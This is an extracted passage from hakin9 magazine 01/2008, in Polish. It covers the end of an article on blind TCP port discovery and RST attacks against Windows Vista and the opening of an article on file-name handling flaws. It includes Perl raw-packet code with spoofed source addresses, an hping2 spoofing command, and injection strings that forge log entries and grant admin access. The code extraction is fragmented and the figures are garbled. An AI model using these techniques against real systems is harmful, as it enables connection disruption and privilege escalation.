W  celu  ustanowienia  połącze-

nia  wymieniane  są  pakiety  od  nu-
meru 1 do 3. Jest to klasyczny przy-
kład  trzystopniowego  uzgadnia-
nia  numerów  sekwencyjnych.  War-
to  jednak  zauważyć,  że  pakiety 
z  ustawioną  flagą  SYN  (numer  se-
kwencyjny=3157436274) druga stro-
na  potwierdza  numerem  ACK  (pa-
kiet  numer  2)  o  jeden  większym 
(3157436275)  –  tak,  jakby  poprzed-
ni pakiet niósł jeden dodatkowy bajt 
danych.  Daje  to  nam  pewność  do-
starczenia  numerów  synchroniza-
cyjnych do drugiej strony. Komunika-
cja C->A zaczyna się od pakietu nu-
mer  4  świadczącego  o  wysłaniu  27 
bajtów  danych.  Bajty  te  są  potwier-
dzane przez A w pakiecie numer 5, 
w  którym  pole  ACK  jest  równe  po-
lu SEQ pakietu numer 4 powiększo-
nemu o 27 bajtów danych. Pakiet nu-
mer 6 jest odpowiedzią hosta A skła-
dającą  się  z  3  bajtów  danych.  Od-
powiedź  hosta  A  jest  potwierdzana 
w pakiecie numer 7. I tak dalej.

Dzięki  takiemu  mechanizmo-

wi oba komputery posiadają wiedzę 
o danych, które dotarły do drugiego 
komputera i danych, które wymaga-
ją  retransmisji.  Naszym  celem  bę-
dzie  wysłanie  pakietu,  który  będzie 
miał  licznik  tak  ustawiony,  aby  cały 
pakiet  został  zinterpretowany  przez 
ofiarę jako poprawny.

Na  pierwszy  rzut  oka  wyda-

je się, że należy bardzo dokładnie 
odgadnąć  oba  te  liczniki.  Dla  ce-
lu  przeprowadzania  ataku  RST  na 
system  Vista  jest  to  prawda,  jed-
nak  odkrycie  przedziału  numerów 
akceptowanych  przez  B  nie  wy-
maga już takiej precyzji. Gdyby nie 
był  dopuszczony  pewien  margines 

Listing 7b. 

Program, który odkryje porty używane w komunikacji A-B   

}

 

   $

rtt_tuned

 

=

 $

rtt_tuned

 / 

2

;

 

   

print

 

"RTT: coud do beter: trying $rtt_tuned 

\n

"

;

 

   

if

 

(

$

rtt_tuned

 

<=

 

0.005

 

)

 

   

{

 

       $

outcond

 

=

 

1

;

 

       

last

;

 

   

}

 

  

}

 

  

undef

 @

found_ports

;

 

  

print

 

"RTT established at: $rtt_tuned

\n

"

;

 

  

sleep

(

1

);

 

  

while

 

(

scalar

(

@

ports_to_scan

)!=

0

)

 

  

{

 

   

my

 

(

$

port_begin

,$

port_end

)

 

=

 @

{

pop

(

@

ports_to_scan

)

}

;

 

   

print

 

"Scanning from/to: $port_begin,$port_end 

\n

"

;

 

   

for

 

(

$

client_port

=

$

port_begin

;

$

client_port

<=

$

port_end

;

$

client_port

++)

 

   

{

 

      

send_probe

();

 

      

send_testing_packet

();

 

      

Time

::

HiRes

::

sleep

 

(

$

rtt_tuned

)

 

if

 

(

$

rtt_tuned

>

0.0005

);

 

   

}

 

  

}

 

  

print

 

"Found ports: @found_ports

\n

"

;

 

}

 

sub

 

send_probe

 

{

 

  

my

 $

rawip

 

=

 

Net

::

RawIP

->

new

(

{

icmp

 

=>

{}}

);

 

  $

rawip

->

set

(

{

 

      

ip

 

=>

 

{

 

saddr

 

=>

 $

my_ip

      

daddr

 

=>

 $

victim_ip

,

      

}

      

icmp

 

=>

 

{

 

type

 

=>

 

8

      

id

 

=>

 

NetPacket

::

htons

(

$

my_id_cnt

)

      

sequence

 

=>

 

NetPacket

::

htons

(

$

my_id_cnt

)

      

data

 

=>

 

timem

()

 

      

}

 

      

}

);

 

  $

rawip

->

send

();

 

  

{

 

   

lock

(

@

probes_array

);

 

   

push

 

(

@

probes_array

,$

my_id_cnt

);

 

  

}

 

  $

my_id_cnt

=

0

 

if

 

(++

$

my_id_cnt

>=

65536

);

 

}

 

sub

 

send_testing_packet

 

{

 

  

my

 $

rawip

 

=

 

Net

::

RawIP

->

new

(

{

 

      

ip

 

=>

 

{

saddr

 

=>

 $

victim_ip

      

daddr

 

=>

 $

server_ip

 

      

}

      

tcp

=>

 

{

dest

 

=>

 $

server_port

      

source

 

=>

 $

client_port

      

psh

 

=>

 

1

      

syn

 

=>

 

1

}}

);

 

  $

rawip

->

send

();

 

  

{

 

   

lock

(

@

probes_array

);

 

   

push

(

@

probes_array

, $

client_port

);

 

  

}

 

  

if

 

(

$

client_port

 

%

 

100

 

==

 

0

 

)

 

  

{

 

   

print

 

"Probed client port: $client_port

\n

"

;

 

  

}

 

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

27

błędu,  pakiety,  które  przyszłyby 
w złej kolejności, byłyby odrzucane 
–  znacząco  degradując  prędkość 
połączenia.

Aby  umożliwić  odbieranie  pa-

kietów,  które  przychodzą  w  różnej 
kolejności,  protokół  TCP  wprowa-
dził  pojęcie  okna.  De  facto  istnieją 
trzy  okna:  nadawcze,  unikania  za-
toru  (tzw.  congestion  window)  i  od-
biorcze.  Oknem  congestion  nie  bę-
dziemy się zajmować. Okno nadaw-
cze związane jest poniekąd z oknem 
congestion,  natomiast  okno  odbior-
cze  określa,  ile  dany  host  mo-
że  przyjąć  danych  na  raz  (lub  pa-
trząc  od  strony  nadawcy  –  ile  mo-
że  on  wysłać  danych,  które  odbior-
ca jest w stanie przetworzyć). Roz-
miar okna odbiorczego jest komuni-
kowany  nadawcy  podczas  ustana-
wiania  połączenia  i  modyfikowany 
w  zależności  od  warunków  panu-
jących  w  sieci.  Służy  do  tego  celu 
specjalne,  16-bitowe  pole  protokołu 
TCP  o  nazwie  window  i  znajdujące 
się  208  bitów  od  początku  nagłów-
ka TCP. Łatwo zauważyć, że 16 bi-
tów ogranicza maksymalną wielkość 
okna  do  65535,  co  jest  niewystar-
czające przy osiągach obecnych sie-
ci. Z pomocą przychodzi mechanizm 
skalowania okna, którego dane – ja-
ko dodatkowe pole – doklejane są do 
nagłówka w fazie ustalania połącze-
nia. Pozwala on przeskalować okno 
o maksymalnie 2^14 bajtów powodu-
jąc,  że  dopuszczalny  rozmiar  okna 
urasta do 1GB. Duże znaczenie ma 
również domyślny rozmiar okna, któ-
ry jest inny dla każdego z systemów. 
Przykładowe  rozmiary  okien  poka-
zane są w Tabeli 1.

Warto również wiedzieć, że Win-

dows  Vista  używał  w  przeprowa-
dzonym  teście  współczynnika  ska-
lowania okna równego 8 – co ozna-
cza, że rozmiar okna jest równy 8192 
pomnożone  przez  256  (2^8),  nato-
miast współczynnik skalowania okna 
w systemie Linux wynosił od 2 do 4. 
Oczywiście nie można zakładać, że 
jest to regułą.

Jak  wcześniej  zostało  wspo-

mniane,  numer  sekwencyjny  kom-
putera  A  zostanie  odkryty  poprzez 
testowanie IP ID komputera z zain-

Listing 7c. 

Program, który odkryje porty używane w komunikacji A-B 

}

 

sub

 

received_probe_pacet

 

{

 

  

my

 

(

$

raw_data

)

 

=

 @

_

;

 

  

my

 $

id

,$

dest_port

;

 

  

my

 $

id

,$

port_scanned

,$

last_id

;

 

  $

ip

 

=

 

NetPacket

::

IP

->

decode

(

eth_strip

(

$

raw_data

));

 

  

my

 

(

$

icmp_type

,$

icmp_code

,$

icmp_chsum

,$

icmp_id

,$

icmp_seqnum

,$

icmp_data

)

 

=

 

unpack

(

"CCnnna*"

,$

ip

->

{

data

}

);

 

  

{

 

   

lock

(

@

probes_array

);

 

   

if

 

(

scalar

(

@

probes_array

)>=

3

)

 

   

{

 

 

     $id = shift (@probes _ array); 

      $

dest_port

 

=

 

shift

 

(

@

probes_array

);

 

      $

last_id

 

=

 $

probes_array

[

0

];

 

      

if

 

(

$

last_id

!=

$

icmp_id

)

 

      

{

 

        $

outofsync

=

1

;

 

        

while

 

((

scalar

(

@

probes_array

)>=

3

)

 

&&

 

(

$

outofsync

==

1

))

 

        

{

 

            $

id

 

=

 

shift

 

(

@

probes_array

);

 

            $

dest_port

 

=

 

shift

 

(

@

probes_array

);

 

            $

last_id

 

=

 $

probes_array

[

0

];

 

            

if

 

(

$

last_id

==

$

icmp_id

)

 

            

{

 

               $

outofsync

=

0

;

 

            

}

 

 

       } 

      

}

 

   

}

 

  

}

 

  

if

 

(

$

my_id_prb_cnt

 

==

 $

ip

->

{

id

}

)

 

  

{

 

   

push

 @

found_ports

,$

dest_port

;

 

  

}

 

  $

expected_ip_id

 

=

 $

icmp_id

 

+

 

1

;

 

  $

my_id_prb_cnt

=

$

ip

->

{

id

}

;

 

  $

my_id_prb_cnt

++;

 

}

 

sub

 

analyze_packet

 

{

 

  

my

 

(

$

raw_data

)

 

=

 @

_

;

 

  $

ip

 

=

 

NetPacket

::

IP

->

decode

(

eth_strip

(

$

raw_data

));

 

  

if

 

(

$

ip

->

{

proto

}

 

==

 

NetPacket

::

IP

::

IP_PROTO_ICMP

)

 

  

{

   

   $

icmp

 

=

 

NetPacket

::

ICMP

->

decode

(

NetPacket

::

IP

::

strip

(

$

raw_data

));

 

   

if

 

(

$

icmp

->

{

code

}

==

ICMP_ECHOREPLY

)

 

   

{

 

      

received_probe_pacet

(

$

raw_data

);

 

   

}

 

  

}

 

}

 

sub

 

callback

 

{

 

  

my

 

(

$

args

,$

header

,$

packet

)

 

=

 @

_

;

 

  

analyze_packet

(

$

packet

);

 

}

 

sub

 

uzycie

 

{

 

  

print

 

"$0 -s my-ip -d server-ip -sp server_port -vi victim-ip

\n

"

;

 

  

exit

 

-

1

;

 

}

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

28

stalowanym systemem Windows Vi-
sta.  Aby  uzmysłowić  sobie,  jak  te-
go dokonać, należy zaobserwować, 
co się dzieje w przypadku, gdy da-
ny  host  otrzyma  pakiet  z  numerem 
SEQ spoza okna odbiorczego (patrz 
Listing 9).

Host  B  wysyła  numer  sekwen-

cyjny  ostatnio  odebranego  bajtu. 
Istotne  jest  to,  że  wysyłając  zwięk-
sza licznik IP ID, który możemy od-
czytać  poznaną  wcześniej  metodą. 
Jeżeli  numer  SEQ  jest  w  oknie  od-
biorczym  hosta  B,  to  nie  odeśle  on 
nam żadnej odpowiedzi. Warto nad-
mienić, że wykrywanie numerów se-
kwencyjnych  jest  procesem  szyb-
szym niż wykrywanie portów, ponie-
waż wysyłając pakiety do B nie mu-
simy się przejmować RTT pomiędzy 
A oraz B. Nie musimy ponadto prze-
szukiwać pełnego zakresu (czyli od 
0 od 2^32-1), ponieważ host B uzna 
za  poprawny  numer  sekwencyjny 
z  zakresu,  którego  się  spodziewa. 
Można więc przyjąć pewien począt-
kowy  rozmiar  okna  równy  N=64K 
i  przeszukać  cały  zakres  numerów 
sekwencyjnych  zwiększając  SEQ 
o 64K. Jeżeli nie uda się nam zna-
leźć  okna  odbiorczego,  to  –  jak  su-
geruje  jedno  ze  źródeł  –  ustalamy 
SEQ=N/2+I*N  dla  każdego  I.  Je-
żeli  w  dalszym  ciągu  nie  znajdzie-
my okna, ustalamy SEQ=N/4+I*N/2 
i postępujemy podobnie.

Jeżeli uda nam się wpaść w okno 

odbiorcze hosta B, z łatwością może-
my odkryć dokładny numer sekwen-
cyjny B używając bisekcji, tak jak to 
jest pokazane na Rysunku 2.

Odkrywszy numer SEQ hosta A, 

możemy  przeprowadzić  atak  RST. 
RFC  793  dokładnie  określa  wy-
magania  i  zachowanie  stosu  TCP 
w  przypadku  odebrania  pakietu 
z  ustawioną  flagą  RST.  A  mianowi-
cie,  we  wszystkich  stanach  oprócz 
początkowego  (SYN-SENT)  odebra-
ne  pakiety  z  flagą  RST  muszą  mieć 
poprawny  numer  sekwencyjny.  Nu-
mer  sekwencyjny  dla  tych  pakietów 
jest poprawny, gdy SEQ znajduje się 
w przedziale okna odbiorczego. W fa-
zie SYN-SENT RST jest akceptowa-
ne, jeśli pole ACK potwierdza wcze-
śniej wysłany pakiet z flagą SYN.

Microsoft  interpretuje  RFC  793 

na  własny  sposób  i  wymaga,  aby 
pole  SEQ  pakietu  resetującego  po-
łączenie  było  równe  wartości  ocze-
kiwanej,  co  poniekąd  jest  bezpiecz-
niejsze  –  gdyż  teoretycznie  host 
A  powinien  móc  zresetować  połą-
czenie i zna dokładną wartość SEQ. 
Z  interpretacją  RFC  nie  ma  nato-

miast  problemów  system  A,  więc 
gdyby  z  resetowaniem  połączenia 
były problemy, to można spróbować 
w  pełni  ślepego  ataku  RST  na  ma-
szynę  linuksową.  W  badanym  przy-
padku rozmiar okna został po usta-
leniu połączenia ustawiony na 2352 
przy współczynniku skalowania rów-
nym 2, co dało rozmiar okna 10128 

Listing 8. 

Szczegóły przykładowej komunikacji C<->A

IP

 

(

id

 

56121

length

 

60

)

 

172.16

.

83.1

.

45462

 

>

 

172.16

.

83.129

.

23

:

 

S

3157436274

:

3157436274

(

0

)

IP

 

(

id

 

0

length

 

60

)

 

172.16

.

83.129

.

23

 

>

 

172.16

.

83.1

.

45462

:

 

S

1617613530

:

1617613530

(

0

)

 

ack

 

3157436275

IP

 

(

id

 

56122

length

 

52

)

 

172.16

.

83.1

.

45462

 

>

 

172.16

.

83.129

.

23

:

 ., 

ack

 

1617613531

IP

 

(

id

 

56123

length

 

79

)

 

172.16

.

83.1

.

45462

 

>

 

172.16

.

83.129

.

23

:

 

P

3157436275

:

3157436302

(

27

)

 

ack

 

1617613531

 

IP

 

(

id

 

7199

length

 

52

)

 

172.16

.

83.129

.

23

 

>

 

172.16

.

83.1

.

45462

:

 ., 

ack

 

3157436302

IP

 

(

id

 

7200

length

 

55

)

 

172.16

.

83.129

.

23

 

>

 

172.16

.

83.1

.

45462

:

 

P

1617613531

:

1617613534

(

3

)

 

ack

 

3157436302

 

IP

 

(

id

 

56124

length

 

52

)

 

172.16

.

83.1

.

45462

 

>

 

172.16

.

83.129

.

23

:

 ., 

ack

 

1617613534

 

IP

 

(

id

 

56125

length

 

55

)

 

172.16

.

83.1

.

45462

 

>

 

172.16

.

83.129

.

23

:

 

P

3157436302

:

3157436305

(

3

)

 

ack

 

1617613534

Rysunek 1. 

Badanie poprawności portu źródłowego

�����������

�����������

�������������������
������������������������

�������������������
������������������

����������������������
����������������������
�������������������������
�������������������������������

�����������

�����������

�������������������
������������������

����������������������
����������������������
�������������������������
�������������������������������

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

29

bajtów.  Przejrzenie  całego  zakresu 
2^32  numerów  sekwencyjnych  wy-
maga  w  tym  przypadku  wysłania 
około 424068 pakietów. Przy założe-
niu, że typowy pakiet ma 40 bajtów, 
wymagałoby  to  wysłania  16962720 
bajtów.  Zakładając  typowe  łącze 
o  prędkości  256  Kbit/s,  zresetowa-
nie połączenia może zająć w najgor-
szym przypadku 8,7 minuty.

Atak w pełni ślepy

Uważny  czytelnik  pewnie  dostrzegł, 
że w pełni ślepy atak jest możliwy do 
zrealizowania  w  sprzyjających  wa-
runkach. Przy oknie odbiorczym rzę-
du 1GB wystarczą cztery próby, aby 
zresetować  dane  połączenie.  Pro-
blem  może  sprawić  odkrycie  portów 
źródłowych  i  docelowych.  Jednak 
i one są w pewnym stopniu przewidy-
walne (patrz Tabela 2). Mając do dys-
pozycji zakresy i zakładając 4 próby 
na  rozłączenie  połączenia,  można 
w optymistycznym przypadku dopro-
wadzić do awarii połączenia w mniej 
niż 9 minut. Oczywiście w większości 
przypadków nie ma się co łudzić – po-
myślny atak w tak krótkim czasie nie 
powiedzie się. 

Cała reszta

Należy  zdać  sobie  sprawę,  że  arty-
kuł opisuje tylko niektóre możliwości, 
jakie niosą ze sobą ślepe ataki. Ska-
nowanie oraz ataki RST są przysło-
wiowym wierzchołkiem góry lodowej, 
pod którą kryje się wiele możliwości. 
Wierny czytelnik hakin9 od razu po-
winien  zauważyć  fakt,  że  wprowa-
dzanie  własnych  informacji  do  usta-
nowionego połączenia umożliwia za-
stosowanie  większości  ataków  we 
wszystkich  warstwach,  począwszy 
od warstwy IP. Dzięki wiedzy zdoby-
tej podczas skanowania można rów-
nież  przyśpieszyć  atak  ICMP  opisy-
wany w hakin9 3/2007 przez Marcina 
Ulikowskiego, nie mówiąc już możli-

wości wykorzystania pluginu własnej 
produkcji w Metasploit (patrz: hakin9 
4/2007).

Podsumowanie

Warto  uzmysłowić  sobie,  dlaczego 
ślepe  ataki  są  możliwe.  Wszędzie 
tam,  gdzie  występują  przewidywal-
ne liczby, pojawia się niebezpieczeń-
stwo  wykorzystania  tego  faktu.  Po-
nadto  same  protokoły  wykorzysty-
wane w Internecie oraz ich pełna lub 
częściowa zgodność z RFC stanowi 
niejakie  zagrożenie,  ponieważ  stan 

wiedzy  o  bezpieczeństwie  znacznie 
się zwiększył od czasu sformalizowa-
nia standardów internetowych. Istnie-
nie technik opisanych w artykule za-
wdzięczamy  dokładnemu  poznaniu 
zarówno  protokołów,  jak  i  ich  słabo-
ści.  Świadomość  zagrożenia  istnie-
je  i  zewsząd  pojawiają  się  inicjaty-
wy, które mają na celu niwelacje za-
grożenia, jak np. grsecurity czy inne 
łatki jądra  lub chociażby zmiany sto-
su  TCP/IP  w  Windows  Vista.  Z  dru-
giej strony jednak należy spojrzeć na 
zamysł  TCP/IP  z  dużym  uznaniem. 
Rozwiązania  te,  niekiedy  powstałe 
30 lat temu, są codziennie wykorzy-
stywane przez miliony użytkowników. 
Gdyby technologię TCP/IP porównać 
do motoryzacji, od razu można sobie 
wyobrazić  bezpieczeństwo  na  dro-
dze, po której poruszają się trzydzie-
stoletnie rzęchy. l

O autorze

Konrad Malewski, absolwent informatyki Politechniki Śląskiej. Obecnie doktorant in-
formatyki na AGH. Administrator amatorskich sieci komputerowych. Zarówno w pra-
cy, jak i prywatnie interesuje się programowaniem oraz bezpieczeństwem aplikacji sie-
ciowych. 
Kontakt z autorem: kmalewski@gmail.com

Listing 9. 

Reakcja systemu Windows Vista na pakiet z nieprawidłowym 

numerem sekwencyjnym

Wywołanie polecenia z C
./

hping2

 

172.16

.

83.128

 

-

a

 

172.16

.

83.129

 

-

s

 

22

 

-

p

 

49165

 

-

M

 

0

 

-

c

 

5

spowoduje

 

odes

ł

anie

 

odpowiedzi

 

przez

 

B

:

IP

 

(

ttl

 

128

id

 

393

offset

 

0

flags

 

[

DF

]

proto

 

TCP

 

(

6

)

length

 

40

)

 

172.16

.

83.128

.

49165

 

>

 

172.16

.

83.129

.

22

:

 ., 

ack

 

200270774

 

win

 

253

 

IP

 

(

ttl

 

128

id

 

394

offset

 

0

flags

 

[

DF

]

proto

 

TCP

 

(

6

)

length

 

40

)

 

172.16

.

83.128

.

49165

 

>

 

172.16

.

83.129

.

22

:

 ., 

ack

 

200270774

 

win

 

253

 

IP

 

(

ttl

 

128

id

 

395

offset

 

0

flags

 

[

DF

]

proto

 

TCP

 

(

6

)

length

 

40

)

 

172.16

.

83.128

.

49165

 

>

 

172.16

.

83.129

.

22

:

 ., 

ack

 

200270774

 

win

 

253

 

IP

 

(

ttl

 

128

id

 

396

offset

 

0

flags

 

[

DF

]

proto

 

TCP

 

(

6

)

length

 

40

)

 

172.16

.

83.128

.

49165

 

>

 

172.16

.

83.129

.

22

:

 ., 

ack

 

200270774

 

win

 

253

 

IP

 

(

ttl

 

128

id

 

397

offset

 

0

flags

 

[

DF

]

proto

 

TCP

 

(

6

)

length

 

40

)

 

172.16

.

83.128

.

49165

 

>

 

172.16

.

83.129

.

22

:

 ., 

ack

 

200270774

 

win

 

253

Rysunek 2. 

Dokładne znajdowanie numeru sekwencyjnego

����������
���������������

��������������

���

������

�����������

������

������� ������� ������� �������

�������

���

���

���

background image

www.hakin9.org

hakin9 Nr 01/2008

30

Atak

N

iniejszy  artykuł  ma  na  celu  zazna-
jomić  Czytelnika  z  najczęstszymi 
błędami  popełnianymi  przez  progra-

mistów  podczas  obsługi  otrzymanych  z  ze-
wnątrz nazw plików.

Ukrywanie pełnej nazwy pliku

Część  aplikacji  umożliwiających  transfer  plików 
między dwoma użytkownikami, a w szczególno-
ści ich odbieranie, przed przystąpieniem do fak-
tycznego transferu danych informuje użytkownika 
co do nazwy przesyłanego lub odbieranego pliku, 
aby mógł on zadecydować, czy plik faktycznie po-
winien zostać odebrany, czy też ma zostać odrzu-
cony, np. z powodów związanych z bezpieczeń-
stwem.  Częstym  zaniedbaniem  w  tym  miejscu 
jest dostarczenie przez programistę zbyt wąskie-
go  pola  przeznaczonego  do  wyświetlenia  na-
zwy  plików,  przez  co  część  nazwy  pliku  zosta-
nie ukryta przed użytkownikiem. Błąd na pierw-
szy  rzut  oka  wydaje  się  być  trywialny,  jednak 
jego  konsekwencje  mogą  być  poważne.  Przy-
kładowo,  w  roku  2004  błąd  tego  typu  został 
wykryty przez Bartosza Kwitkowskiego w module 
przesyłania plików popularnego polskiego komu-
nikatora  Gadu-Gadu  (http://securitytracker.com/
id?1011037
). Niebezpieczeństwo tego błędu po-

lega na ukryciu przed użytkownikiem prawdziwe-
go rozszerzenia pliku poprzez sformułowanie na-
zwy w następujący sposób: obrazek.jpg<DUŻO 
SPACJI>.exe
. Z uwagi na zbyt wąskie pole wy-
świetlające  nazwę  pliku  oraz  dużą  ilość  spacji 
w  nazwie,  faktyczne  rozszerzenie  odbieranego 
pliku nie zmieści się w polu nazwy – a więc nie 
zostanie wyświetlone (patrz Rysunek 1).

Programista tworzący aplikację powinien za-

pewnić odpowiednie jej zachowanie w takim wy-
padku. Przykładowym rozwiązaniem może być 

Niebezpieczne nazwy 

plików

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Programiści, zarówno początkujący, jak i profesjonaliści, mają 

tendencje do pokładania przesadnego zaufania w poprawności 

otrzymywanych z zewnątrz nazw plików. W konsekwencji ich 

aplikacje mogą stać się wejściem do systemu dla potencjalnego 

włamywacza.

Z artykułu dowiesz się

•   o najczęstszych zaniedbaniach w implementacji 

obsługi nazw plików otrzymanych z zewnątrz,

•   jakie  są  konsekwencje  nieodpowiedniej  wali-

dacji otrzymanych z zewnątrz danych,

•   o trudnościach wynikających z pisania między-

platformowych aplikacji operujących na plikach.

Co powinieneś wiedzieć

•   mieć  ogólne  pojęcie  o  popularnych  językach 

programowania oraz najbardziej znanych sys-
temach operacyjnych.

background image

Niebezpieczne nazwy plików

hakin9 Nr 01/2008

www.hakin9.org

31

użycie pola wieloliniowego lub znacz-
nika  informującego  użytkownika,  że 
nazwa  ma  ciąg  dalszy  –  przy  czym 
należy  pamiętać,  aby  użyć  dobrze 
widocznego  znacznika.  Często  uży-
wany jest wtedy wielokropek, jednak 
zdaniem autora trzy piksele tworzące 
wielokropek mogą zostać przez użyt-
kownika niezauważone.

Znak nowej linii

Aplikacje  serwerowe  udostępnia-
jące  pliki  bardzo  często  zapisują 
w logach wszystkie nazwy plików żą-
danych  przez  użytkowników,  wraz 
z  żądaniami,  które  zakończyły  się 
niepowodzeniem (np. z powodu nie-
istniejącego  zasobu)  –  co,  samo 
w  sobie,  jest  oczywiście  bardzo 
dobrym  pomysłem  i  jest  niezwy-
kle  przydatne  przy  przeprowadza-
niu  wszelkiego  rodzaju  analiz  i  ba-
dań,  na  przykład  powłamaniowych. 
Często w tym celu używa się logów 
w  formacie  tekstowym,  głównie 
z uwagi na prostotę zapisu oraz póź-
niejszego  odczytu  –  czy  to  przez 
człowieka,  czy  przez  przeznaczone 
do  tego  celu  skrypty.  Problem  po-
jawia  się  w  momencie,  gdy  progra-
mista  zaniedba  konwersje  niektó-
rych  znaków  specjalnych  pojawia-
jących  się  w  nazwie  zażądanego 
zasobu,  takich  jak  znak  nowej  linii. 
Należy  jednak  zauważyć,  iż  ataku-
jący  musi  mieć  możliwość  wstawie-
nia znaku nowej linii, który nie zosta-
nie obsłużony w ramach parsowania 
pakietu – jest to możliwe w protoko-
łach  binarnych  oraz  w  protokołach 
tekstowych  udostępniających  znaki 
ucieczki lub alternatywne kodowanie 
znaków,  np.  za  pomocą  ich  kodów 
ASCII.  W  takim  wypadku  atakujący 
może wstawić do logów dodatkowe, 

nieprawdziwe wpisy, mogące zmylić 
osoby przeprowadzające analizę po-
włamaniową lub – w przypadku, gdy 
system korzysta z analizatora logów 
– odciąć dostęp do usługi zaufanym 
hostom.  Jako  przykład  wyobraźmy 
sobie aplikację udostępniającą pliki, 
która tworzy logi w postaci:

IP _ użytkownika: stan(OK lub ERROR) 
żądany plik

Przykładowy wpis w logach mógłby 
wyglądać tak:

192.168.0.12: OK /var/files/cars.db

Proszę zauważyć, że atakujący w takim 
wypadku może wysłać specjalnie spre-
parowane  żądanie,  które  spowoduje 
wstawienie dodatkowych wpisów do lo-
gów – wystarczy, że użyje znaku nowej 
linii w nazwie żądanego zasobu. Przy-
kładowo,  atakujący  mógłby  poprosić 
o plik /var/files/csrs.db\n123.123.123.123: 
OK /etc/shadow
 (gdzie \n to znak no-
wej linii). Takie żądanie spowodowało-
by pojawienie się w logach następują-
cego wpisu:

192.168.0.12: ERROR /var/files/csrs.db
123.123.123.123: OK /etc/shadow

W konsekwencji wystraszony admi-
nistrator (lub analizator logów, któ-
rego używa) mógłby odciąć dostęp 
z hosta 123.123.123.123.

W  powyższym  przykładzie  pro-

blem  wynikający  z  wystąpienia  nie-
obsłużonego znaku nowej linii wyda-
je się być stosunkowo niegroźny, jed-
nak nietrudno wyobrazić sobie groź-
niejszy przypadek, gdy nazwa ostat-
niego  zażądanego  przez  użytkowni-
ka  pliku  jest  zapisywana  do  teksto-
wego  pliku  konfiguracyjnego.  W  ta-
kim wypadku atakujący dostaje moż-
liwość  dopisania  dowolnej  opcji  do 
pliku  konfiguracyjnego  –  przykłado-
wo takiej, która zwiększy jego upraw-
nienia. Jako przykład weźmy wyima-
ginowany serwer plików korzystający 
z  tekstowej  bazy  danych,  w  której 
przechowuje  informacje  o  kontach 
użytkowników,  takie  jak  login,  hasło, 
poziom  dostępu  oraz  ostatnio  zażą-
dany plik. Przykład takiej bazy znaj-
duje się na Listingu 1. Gdy użytkow-
nik  zażąda  jakiegoś  pliku,  aplikacja 
serwerowa zapisuje informacje o żą-
daniu do bazy danych (pole LASTRE-
QUEST),  po  czym  kontynuuje  prze-
twarzanie.  W  takim  wypadku  ataku-
jący ma możliwość wysłania żądania 
zawierającego znak nowej linii, które 
–  nieodpowiednio  obsłużone  –  spo-
woduje  dodanie  opcji  ACCESSLE-
VEL=admin  do  pliku  konfiguracyjne-
go, co po przeładowaniu bazy danych 
spowoduje  nadanie  użytkownikowi 
wyższego poziomu dostępu. Żądanie 
takie może wyglądać następująco:

\nACCESSLEVEL=admin

Analogiczny błąd występował w Penul-
tima Online – emulatorze serwera Ulti-

Rysunek 1. 

Okno transferu pliku w Gadu-Gadu 6

Listing 1. 

Tekstowa baza użytkowników

[

User

]

LOGIN

=

admin

PASS

=

md5

:

d10a20c8c3b635d4a6f7dcdae96a15d2

ACCESSLEVEL

=

admin

LASTREQUEST

=

/

var

/

files

/

csrs

.

db

[

User

]

LOGIN

=

hax

PASS

=

md5

:

d41d8cd98f00b204e9800998ecf8427e

#ACCESSLEVEL=user (default)

LASTREQUEST

=

/

var

/

files

/

rules

.

txt

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

32

my Online, dotyczył on jednak nie na-
zwy  pliku,  a  nazwy  użytkownika.  Za 
pomocą znaku nowej linii możliwe by-
ło  nadanie  konkretnej  postaci  w  grze 
uprawnień  administratora.  Jak  widać, 
błąd ten dotyczy nie tylko nazw plików.

Niegroźny, nie mniej jednak intere-

sujący,  błąd  związany  z  brakiem  ob-
sługi  znaku  nowej  linii  został  znale-
ziony  przez  autora  w  Fileinfo  (http://
blog.hispasec.com/lab/advisories/
adv_Fileinfo-2_09_multiple_vulne-
rabilities.txt
),  pluginie  do  Total  Com-
mandera  autorstwa  Francoisa  Gan-
niera. Fileinfo jest pluginem wyświetla-
jącym  informacje  o  strukturze  plików 
wykonywalnych (MZ, PE) oraz obiek-
towych (COFF). Błąd był umiejscowio-
ny w obsłudze plików PE – autor zało-
żył, że nazwa importowanej biblioteki 
DLL będzie normalną nazwą pliku. Nie 
przewidział jednak możliwości, że bę-
dzie ona zawierała znaki nowej linii, co 
umożliwia  atakującemu  dodanie  wła-
snych fałszywych informacji o danym 
pliku  PE  do  raportu  generowanego 
przez Fileinfo (patrz Rysunek 2).

Problem wyboru

Problem  wyboru  nazwy  pliku  doty-
czy konkretnych przypadków, w któ-
rych programista dostaje kilka nazw, 
teoretycznie  identycznych,  określa-
jących jeden plik i musi dokonać wy-
boru,  której  nazwy  użyć.  Jako  że 
nazwy  powinny  być  –  przynajmniej 
w teorii – identyczne, wybór wydaje 
się nie mieć znaczenia, ale co w wy-
padku, gdy atakujący spreparuje po-

dane aplikacji dane i nazwy nie będą 
takie same?

Tego  typu  problem  pojawia  się 

w przypadku archiwów ZIP, w których 
nazwa  skompresowanego  pliku  zapi-
sana  jest  w  dwóch  miejscach:  przed 
skompresowanymi danymi – w tzw. lo-
kalnym nagłówku pliku (ang. local file 
header
) oraz w nagłówku pliku w cen-
tralnym katalogu (ang. central directo-
ry
). Programista powinien wybrać jed-
ną nazwę, którą najpierw pokaże użyt-
kownikowi w celu weryfikacji pliku do 
rozpakowania  lub  po  prostu  wylisto-
wania plików w archiwum, a następnie 
powinien  użyć  tej  samej  nazwy  przy 
tworzeniu rozpakowanego pliku. Oka-
zuje się, że nie zawsze tak się dzieje.

Przykładowo w menadżerze plików 

Unreal  Commander  firmy  X-Diesel 
podczas  listowania  plików  archiwum 
aplikacja pokazuje użytkownikowi na-
zwy plików pobrane z centralnego ka-
talogu,  jednak przy  rozpakowywaniu 
danego pliku aplikacja korzysta z na-
zwy  zawartej  w  lokalnym  nagłówku 
pliku  (http://blog.hispasec.com/lab/
advisories/adv_UnrealCommander_
0_92_build_573_Multiple_Vulnerabi-
lities.txt
).  W  takim  wypadku  atakują-
cy może ukryć prawdziwą tożsamość 
pliku nawet przed uważnym użytkow-
nikiem.  Należy  zauważyć,  że  zagro-
żenie wynikające z tego zaniedbania 
wydaje się być niewielkie, ale w po-
łączeniu  z  innymi  błędami  (np.  gło-
